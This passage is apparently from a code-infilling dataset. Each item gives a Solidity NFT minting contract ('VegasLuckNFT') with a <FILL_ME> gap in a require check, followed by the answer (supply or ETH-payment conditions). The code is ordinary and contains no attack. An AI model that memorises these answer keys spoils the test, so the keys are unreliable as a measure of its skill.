function random(address _addr) private view returns(uint256){
}
function addReferralAddress(address _addr) external onlyOwner {
}
////////////////////////////////// PAYMENT SPLITTER /////////////////////////////////
function _afterTokenTransfer(address from, address to, uint256 tokenId) internal virtual override {
}
function setTierShare(uint256 _tier1Share, uint256 _tier2Share, uint256 _tier3Share) external onlyOwner {
}
function withdrawFromDistributor() external onlyOwner {
}
}
| tier1Cost()*numberOfTokens<=msg.value,"ETH amount is not sufficient" | 218,818 | tier1Cost()*numberOfTokens<=msg.value |
"Purchase would exceed TIER2_SUPPLY" | pragma solidity ^0.8.7;
contract VegasLuckNFT is ERC721Enumerable, Ownable {
using Strings for uint256;
DividendDistributor public DIV_DISTRIBUTOR;
uint256 public TIER1_SUPPLY = 825;
uint256 public TIER2_SUPPLY = 15;
uint256 public TIER3_SUPPLY = 5;
uint256 public TIER1_COST = 1.5 ether;
uint256 public TIER2_COST = 8 ether;
uint256 public TIER3_COST = 20 ether;
string private TIER1_BASE_URI;
string private TIER2_BASE_URI;
string private TIER3_BASE_URI;
string private UNREVEAL_URI;
uint256 public TIER1_COUNTER;
uint256 public TIER2_COUNTER;
uint256 public TIER3_COUNTER;
uint256 public SALE_STEP = 0; // 0: NONE, 1: PRESALE1, 2: PRESALE2, 3: PUBLIC
bool public REVEALED = false;
mapping(address => uint256) public MAP_REFERRAL_FROM_ADDRESS;
mapping(uint256 => address) public MAP_ADDRESS_FROM_REFERRAL;
mapping(address => bool) public MAP_WHITELIST1;
mapping(address => bool) public MAP_WHITELIST2;
uint256 public REFERRAL_PERCENT = 15;
uint256 public WHITELIST1_DISCOUNT = 33;
uint256 public WHITELIST2_DISCOUNT = 25;
address private PAYMENT_WALLET = address(0xffB1881449d01459cb65408Db9F221eBefc40b6C);
constructor() ERC721("VEGAS LUCK NFT", "VL") {
}
////////////////////////////////// NFT MINTING /////////////////////////////////
function setSaleStep(uint256 _saleStep) external onlyOwner {
}
function toggleReveal() external onlyOwner {
}
function setDiscountPercent(uint256 _discount1, uint256 _discount2) external onlyOwner {
}
function setReferralPercent(uint256 _referralPercent) external onlyOwner {
}
function setPaymentWallet(address _paymentWallet) external onlyOwner {
}
function setWhiteList1(address[] memory whiteListAddress, bool bEnable) external onlyOwner {
}
function setWhiteList2(address[] memory whiteListAddress, bool bEnable) external onlyOwner {
}
function setUnevealURI(string memory unrevealURI) external onlyOwner {
}
function setBaseURI(string memory _tier1BaseURI, string memory _tier2BaseURI, string memory _tier3BaseURI) external onlyOwner {
}
function setMintCost(uint256 _tier1Cost, uint256 _tier2Cost, uint256 _tier3Cost) external onlyOwner {
}
function setMaxLimit(uint256 _tier1Supply, uint256 _tier2Supply, uint256 _tier3Supply) external onlyOwner {
}
function _mintLoopTier1(address _receiver, uint256 _mintAmount) internal {
}
function _mintLoopTier2(address _receiver, uint256 _mintAmount) internal {
}
function _mintLoopTier3(address _receiver, uint256 _mintAmount) internal {
}
function airdropTier1(address[] memory _airdropAddresses, uint256 _mintAmount) external onlyOwner {
}
function airdropTier2(address[] memory _airdropAddresses, uint256 _mintAmount) external onlyOwner {
}
function airdropTier3(address[] memory _airdropAddresses, uint256 _mintAmount) external onlyOwner {
}
function tier1Cost() public view returns(uint256) {
}
function tier2Cost() public view returns(uint256) {
}
function tier3Cost() public view returns(uint256) {
}
function mintTier1(uint256 numberOfTokens, uint256 referralCode) external payable {
}
function mintTier2(uint256 numberOfTokens, uint256 referralCode) external payable {
require(SALE_STEP >= 1 && SALE_STEP <= 3, "Sale is not opened");
require(<FILL_ME>)
if (SALE_STEP == 1) {
require(MAP_WHITELIST1[msg.sender], "Not registered to whitelist1");
} else if (SALE_STEP == 2) {
require(MAP_WHITELIST2[msg.sender], "Not registered to whitelist2");
}
require(tier2Cost() * numberOfTokens <= msg.value,"ETH amount is not sufficient");
if (MAP_ADDRESS_FROM_REFERRAL[referralCode] != address(0)) {
uint256 refAmount = msg.value * REFERRAL_PERCENT / 100;
payable(MAP_ADDRESS_FROM_REFERRAL[referralCode]).transfer(refAmount);
payable(PAYMENT_WALLET).transfer(msg.value - refAmount);
} else {
payable(PAYMENT_WALLET).transfer(msg.value);
}
_mintLoopTier2(msg.sender, numberOfTokens);
}
function mintTier3(uint256 numberOfTokens, uint256 referralCode) external payable {
}
function tokenURI(uint256 tokenId) public view override(ERC721) returns (string memory) {
}
function withdraw() external onlyOwner {
}
function getHoldingTiersCount(address _address) public view returns (uint256 tier1Count, uint256 tier2Count, uint256 tier3Count) {
}
function getHoldingTiers(address _address) public view returns (uint256[] memory resultTier1, uint256[] memory resultTier2, uint256[] memory resultTier3) {
}
////////////////////////////////// REFERRAL SYSTEM /////////////////////////////////
function random(address _addr) private view returns(uint256){
}
function addReferralAddress(address _addr) external onlyOwner {
}
////////////////////////////////// PAYMENT SPLITTER /////////////////////////////////
function _afterTokenTransfer(address from, address to, uint256 tokenId) internal virtual override {
}
function setTierShare(uint256 _tier1Share, uint256 _tier2Share, uint256 _tier3Share) external onlyOwner {
}
function withdrawFromDistributor() external onlyOwner {
}
}
| TIER2_COUNTER+numberOfTokens<=TIER2_SUPPLY,"Purchase would exceed TIER2_SUPPLY" | 218,818 | TIER2_COUNTER+numberOfTokens<=TIER2_SUPPLY |
"ETH amount is not sufficient" | pragma solidity ^0.8.7;
contract VegasLuckNFT is ERC721Enumerable, Ownable {
using Strings for uint256;
DividendDistributor public DIV_DISTRIBUTOR;
uint256 public TIER1_SUPPLY = 825;
uint256 public TIER2_SUPPLY = 15;
uint256 public TIER3_SUPPLY = 5;
uint256 public TIER1_COST = 1.5 ether;
uint256 public TIER2_COST = 8 ether;
uint256 public TIER3_COST = 20 ether;
string private TIER1_BASE_URI;
string private TIER2_BASE_URI;
string private TIER3_BASE_URI;
string private UNREVEAL_URI;
uint256 public TIER1_COUNTER;
uint256 public TIER2_COUNTER;
uint256 public TIER3_COUNTER;
uint256 public SALE_STEP = 0; // 0: NONE, 1: PRESALE1, 2: PRESALE2, 3: PUBLIC
bool public REVEALED = false;
mapping(address => uint256) public MAP_REFERRAL_FROM_ADDRESS;
mapping(uint256 => address) public MAP_ADDRESS_FROM_REFERRAL;
mapping(address => bool) public MAP_WHITELIST1;
mapping(address => bool) public MAP_WHITELIST2;
uint256 public REFERRAL_PERCENT = 15;
uint256 public WHITELIST1_DISCOUNT = 33;
uint256 public WHITELIST2_DISCOUNT = 25;
address private PAYMENT_WALLET = address(0xffB1881449d01459cb65408Db9F221eBefc40b6C);
constructor() ERC721("VEGAS LUCK NFT", "VL") {
}
////////////////////////////////// NFT MINTING /////////////////////////////////
function setSaleStep(uint256 _saleStep) external onlyOwner {
}
function toggleReveal() external onlyOwner {
}
function setDiscountPercent(uint256 _discount1, uint256 _discount2) external onlyOwner {
}
function setReferralPercent(uint256 _referralPercent) external onlyOwner {
}
function setPaymentWallet(address _paymentWallet) external onlyOwner {
}
function setWhiteList1(address[] memory whiteListAddress, bool bEnable) external onlyOwner {
}
function setWhiteList2(address[] memory whiteListAddress, bool bEnable) external onlyOwner {
}
function setUnevealURI(string memory unrevealURI) external onlyOwner {
}
function setBaseURI(string memory _tier1BaseURI, string memory _tier2BaseURI, string memory _tier3BaseURI) external onlyOwner {
}
function setMintCost(uint256 _tier1Cost, uint256 _tier2Cost, uint256 _tier3Cost) external onlyOwner {
}
function setMaxLimit(uint256 _tier1Supply, uint256 _tier2Supply, uint256 _tier3Supply) external onlyOwner {
}
function _mintLoopTier1(address _receiver, uint256 _mintAmount) internal {
}
function _mintLoopTier2(address _receiver, uint256 _mintAmount) internal {
}
function _mintLoopTier3(address _receiver, uint256 _mintAmount) internal {
}
function airdropTier1(address[] memory _airdropAddresses, uint256 _mintAmount) external onlyOwner {
}
function airdropTier2(address[] memory _airdropAddresses, uint256 _mintAmount) external onlyOwner {
}
function airdropTier3(address[] memory _airdropAddresses, uint256 _mintAmount) external onlyOwner {
}
function tier1Cost() public view returns(uint256) {
}
function tier2Cost() public view returns(uint256) {
}
function tier3Cost() public view returns(uint256) {
}
function mintTier1(uint256 numberOfTokens, uint256 referralCode) external payable {
}
function mintTier2(uint256 numberOfTokens, uint256 referralCode) external payable {
require(SALE_STEP >= 1 && SALE_STEP <= 3, "Sale is not opened");
require(TIER2_COUNTER + numberOfTokens <= TIER2_SUPPLY,"Purchase would exceed TIER2_SUPPLY");
if (SALE_STEP == 1) {
require(MAP_WHITELIST1[msg.sender], "Not registered to whitelist1");
} else if (SALE_STEP == 2) {
require(MAP_WHITELIST2[msg.sender], "Not registered to whitelist2");
}
require(<FILL_ME>)
if (MAP_ADDRESS_FROM_REFERRAL[referralCode] != address(0)) {
uint256 refAmount = msg.value * REFERRAL_PERCENT / 100;
payable(MAP_ADDRESS_FROM_REFERRAL[referralCode]).transfer(refAmount);
payable(PAYMENT_WALLET).transfer(msg.value - refAmount);
} else {
payable(PAYMENT_WALLET).transfer(msg.value);
}
_mintLoopTier2(msg.sender, numberOfTokens);
}
function mintTier3(uint256 numberOfTokens, uint256 referralCode) external payable {
}
function tokenURI(uint256 tokenId) public view override(ERC721) returns (string memory) {
}
function withdraw() external onlyOwner {
}
function getHoldingTiersCount(address _address) public view returns (uint256 tier1Count, uint256 tier2Count, uint256 tier3Count) {
}
function getHoldingTiers(address _address) public view returns (uint256[] memory resultTier1, uint256[] memory resultTier2, uint256[] memory resultTier3) {
}
////////////////////////////////// REFERRAL SYSTEM /////////////////////////////////
function random(address _addr) private view returns(uint256){
}
function addReferralAddress(address _addr) external onlyOwner {
}
////////////////////////////////// PAYMENT SPLITTER /////////////////////////////////
function _afterTokenTransfer(address from, address to, uint256 tokenId) internal virtual override {
}
function setTierShare(uint256 _tier1Share, uint256 _tier2Share, uint256 _tier3Share) external onlyOwner {
}
function withdrawFromDistributor() external onlyOwner {
}
}
| tier2Cost()*numberOfTokens<=msg.value,"ETH amount is not sufficient" | 218,818 | tier2Cost()*numberOfTokens<=msg.value |
"Purchase would exceed TIER3_SUPPLY" | pragma solidity ^0.8.7;
contract VegasLuckNFT is ERC721Enumerable, Ownable {
using Strings for uint256;
DividendDistributor public DIV_DISTRIBUTOR;
uint256 public TIER1_SUPPLY = 825;
uint256 public TIER2_SUPPLY = 15;
uint256 public TIER3_SUPPLY = 5;
uint256 public TIER1_COST = 1.5 ether;
uint256 public TIER2_COST = 8 ether;
uint256 public TIER3_COST = 20 ether;
string private TIER1_BASE_URI;
string private TIER2_BASE_URI;
string private TIER3_BASE_URI;
string private UNREVEAL_URI;
uint256 public TIER1_COUNTER;
uint256 public TIER2_COUNTER;
uint256 public TIER3_COUNTER;
uint256 public SALE_STEP = 0; // 0: NONE, 1: PRESALE1, 2: PRESALE2, 3: PUBLIC
bool public REVEALED = false;
mapping(address => uint256) public MAP_REFERRAL_FROM_ADDRESS;
mapping(uint256 => address) public MAP_ADDRESS_FROM_REFERRAL;
mapping(address => bool) public MAP_WHITELIST1;
mapping(address => bool) public MAP_WHITELIST2;
uint256 public REFERRAL_PERCENT = 15;
uint256 public WHITELIST1_DISCOUNT = 33;
uint256 public WHITELIST2_DISCOUNT = 25;
address private PAYMENT_WALLET = address(0xffB1881449d01459cb65408Db9F221eBefc40b6C);
constructor() ERC721("VEGAS LUCK NFT", "VL") {
}
////////////////////////////////// NFT MINTING /////////////////////////////////
function setSaleStep(uint256 _saleStep) external onlyOwner {
}
function toggleReveal() external onlyOwner {
}
function setDiscountPercent(uint256 _discount1, uint256 _discount2) external onlyOwner {
}
function setReferralPercent(uint256 _referralPercent) external onlyOwner {
}
function setPaymentWallet(address _paymentWallet) external onlyOwner {
}
function setWhiteList1(address[] memory whiteListAddress, bool bEnable) external onlyOwner {
}
function setWhiteList2(address[] memory whiteListAddress, bool bEnable) external onlyOwner {
}
function setUnevealURI(string memory unrevealURI) external onlyOwner {
}
function setBaseURI(string memory _tier1BaseURI, string memory _tier2BaseURI, string memory _tier3BaseURI) external onlyOwner {
}
function setMintCost(uint256 _tier1Cost, uint256 _tier2Cost, uint256 _tier3Cost) external onlyOwner {
}
function setMaxLimit(uint256 _tier1Supply, uint256 _tier2Supply, uint256 _tier3Supply) external onlyOwner {
}
function _mintLoopTier1(address _receiver, uint256 _mintAmount) internal {
}
function _mintLoopTier2(address _receiver, uint256 _mintAmount) internal {
}
function _mintLoopTier3(address _receiver, uint256 _mintAmount) internal {
}
function airdropTier1(address[] memory _airdropAddresses, uint256 _mintAmount) external onlyOwner {
}
function airdropTier2(address[] memory _airdropAddresses, uint256 _mintAmount) external onlyOwner {
}
function airdropTier3(address[] memory _airdropAddresses, uint256 _mintAmount) external onlyOwner {
}
function tier1Cost() public view returns(uint256) {
}
function tier2Cost() public view returns(uint256) {
}
function tier3Cost() public view returns(uint256) {
}
function mintTier1(uint256 numberOfTokens, uint256 referralCode) external payable {
}
function mintTier2(uint256 numberOfTokens, uint256 referralCode) external payable {
}
function mintTier3(uint256 numberOfTokens, uint256 referralCode) external payable {
require(SALE_STEP >= 1 && SALE_STEP <= 3, "Sale is not opened");
require(<FILL_ME>)
if (SALE_STEP == 1) {
require(MAP_WHITELIST1[msg.sender], "Not registered to whitelist1");
} else if (SALE_STEP == 2) {
require(MAP_WHITELIST2[msg.sender], "Not registered to whitelist2");
}
require(tier3Cost() * numberOfTokens <= msg.value,"ETH amount is not sufficient");
if (MAP_ADDRESS_FROM_REFERRAL[referralCode] != address(0)) {
uint256 refAmount = msg.value * REFERRAL_PERCENT / 100;
payable(MAP_ADDRESS_FROM_REFERRAL[referralCode]).transfer(refAmount);
payable(PAYMENT_WALLET).transfer(msg.value - refAmount);
} else {
payable(PAYMENT_WALLET).transfer(msg.value);
}
_mintLoopTier3(msg.sender, numberOfTokens);
}
function tokenURI(uint256 tokenId) public view override(ERC721) returns (string memory) {
}
function withdraw() external onlyOwner {
}
function getHoldingTiersCount(address _address) public view returns (uint256 tier1Count, uint256 tier2Count, uint256 tier3Count) {
}
function getHoldingTiers(address _address) public view returns (uint256[] memory resultTier1, uint256[] memory resultTier2, uint256[] memory resultTier3) {
}
////////////////////////////////// REFERRAL SYSTEM /////////////////////////////////
function random(address _addr) private view returns(uint256){
}
function addReferralAddress(address _addr) external onlyOwner {
}
////////////////////////////////// PAYMENT SPLITTER /////////////////////////////////
function _afterTokenTransfer(address from, address to, uint256 tokenId) internal virtual override {
}
function setTierShare(uint256 _tier1Share, uint256 _tier2Share, uint256 _tier3Share) external onlyOwner {
}
function withdrawFromDistributor() external onlyOwner {
}
}
| TIER3_COUNTER+numberOfTokens<=TIER3_SUPPLY,"Purchase would exceed TIER3_SUPPLY" | 218,818 | TIER3_COUNTER+numberOfTokens<=TIER3_SUPPLY |
"ETH amount is not sufficient" | pragma solidity ^0.8.7;
contract VegasLuckNFT is ERC721Enumerable, Ownable {
using Strings for uint256;
DividendDistributor public DIV_DISTRIBUTOR;
uint256 public TIER1_SUPPLY = 825;
uint256 public TIER2_SUPPLY = 15;
uint256 public TIER3_SUPPLY = 5;
uint256 public TIER1_COST = 1.5 ether;
uint256 public TIER2_COST = 8 ether;
uint256 public TIER3_COST = 20 ether;
string private TIER1_BASE_URI;
string private TIER2_BASE_URI;
string private TIER3_BASE_URI;
string private UNREVEAL_URI;
uint256 public TIER1_COUNTER;
uint256 public TIER2_COUNTER;
uint256 public TIER3_COUNTER;
uint256 public SALE_STEP = 0; // 0: NONE, 1: PRESALE1, 2: PRESALE2, 3: PUBLIC
bool public REVEALED = false;
mapping(address => uint256) public MAP_REFERRAL_FROM_ADDRESS;
mapping(uint256 => address) public MAP_ADDRESS_FROM_REFERRAL;
mapping(address => bool) public MAP_WHITELIST1;
mapping(address => bool) public MAP_WHITELIST2;
uint256 public REFERRAL_PERCENT = 15;
uint256 public WHITELIST1_DISCOUNT = 33;
uint256 public WHITELIST2_DISCOUNT = 25;
address private PAYMENT_WALLET = address(0xffB1881449d01459cb65408Db9F221eBefc40b6C);
constructor() ERC721("VEGAS LUCK NFT", "VL") {
}
////////////////////////////////// NFT MINTING /////////////////////////////////
function setSaleStep(uint256 _saleStep) external onlyOwner {
}
function toggleReveal() external onlyOwner {
}
function setDiscountPercent(uint256 _discount1, uint256 _discount2) external onlyOwner {
}
function setReferralPercent(uint256 _referralPercent) external onlyOwner {
}
function setPaymentWallet(address _paymentWallet) external onlyOwner {
}
function setWhiteList1(address[] memory whiteListAddress, bool bEnable) external onlyOwner {
}
function setWhiteList2(address[] memory whiteListAddress, bool bEnable) external onlyOwner {
}
function setUnevealURI(string memory unrevealURI) external onlyOwner {
}
function setBaseURI(string memory _tier1BaseURI, string memory _tier2BaseURI, string memory _tier3BaseURI) external onlyOwner {
}
function setMintCost(uint256 _tier1Cost, uint256 _tier2Cost, uint256 _tier3Cost) external onlyOwner {
}
function setMaxLimit(uint256 _tier1Supply, uint256 _tier2Supply, uint256 _tier3Supply) external onlyOwner {
}
function _mintLoopTier1(address _receiver, uint256 _mintAmount) internal {
}
function _mintLoopTier2(address _receiver, uint256 _mintAmount) internal {
}
function _mintLoopTier3(address _receiver, uint256 _mintAmount) internal {
}
function airdropTier1(address[] memory _airdropAddresses, uint256 _mintAmount) external onlyOwner {
}
function airdropTier2(address[] memory _airdropAddresses, uint256 _mintAmount) external onlyOwner {
}
function airdropTier3(address[] memory _airdropAddresses, uint256 _mintAmount) external onlyOwner {
}
function tier1Cost() public view returns(uint256) {
}
function tier2Cost() public view returns(uint256) {
}
function tier3Cost() public view returns(uint256) {
}
function mintTier1(uint256 numberOfTokens, uint256 referralCode) external payable {
}
function mintTier2(uint256 numberOfTokens, uint256 referralCode) external payable {
}
function mintTier3(uint256 numberOfTokens, uint256 referralCode) external payable {
require(SALE_STEP >= 1 && SALE_STEP <= 3, "Sale is not opened");
require(TIER3_COUNTER + numberOfTokens <= TIER3_SUPPLY,"Purchase would exceed TIER3_SUPPLY");
if (SALE_STEP == 1) {
require(MAP_WHITELIST1[msg.sender], "Not registered to whitelist1");
} else if (SALE_STEP == 2) {
require(MAP_WHITELIST2[msg.sender], "Not registered to whitelist2");
}
require(<FILL_ME>)
if (MAP_ADDRESS_FROM_REFERRAL[referralCode] != address(0)) {
uint256 refAmount = msg.value * REFERRAL_PERCENT / 100;
payable(MAP_ADDRESS_FROM_REFERRAL[referralCode]).transfer(refAmount);
payable(PAYMENT_WALLET).transfer(msg.value - refAmount);
} else {
payable(PAYMENT_WALLET).transfer(msg.value);
}
_mintLoopTier3(msg.sender, numberOfTokens);
}
function tokenURI(uint256 tokenId) public view override(ERC721) returns (string memory) {
}
function withdraw() external onlyOwner {
}
function getHoldingTiersCount(address _address) public view returns (uint256 tier1Count, uint256 tier2Count, uint256 tier3Count) {
}
function getHoldingTiers(address _address) public view returns (uint256[] memory resultTier1, uint256[] memory resultTier2, uint256[] memory resultTier3) {
}
////////////////////////////////// REFERRAL SYSTEM /////////////////////////////////
function random(address _addr) private view returns(uint256){
}
function addReferralAddress(address _addr) external onlyOwner {
}
////////////////////////////////// PAYMENT SPLITTER /////////////////////////////////
function _afterTokenTransfer(address from, address to, uint256 tokenId) internal virtual override {
}
function setTierShare(uint256 _tier1Share, uint256 _tier2Share, uint256 _tier3Share) external onlyOwner {
}
function withdrawFromDistributor() external onlyOwner {
}
}
| tier3Cost()*numberOfTokens<=msg.value,"ETH amount is not sufficient" | 218,818 | tier3Cost()*numberOfTokens<=msg.value |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.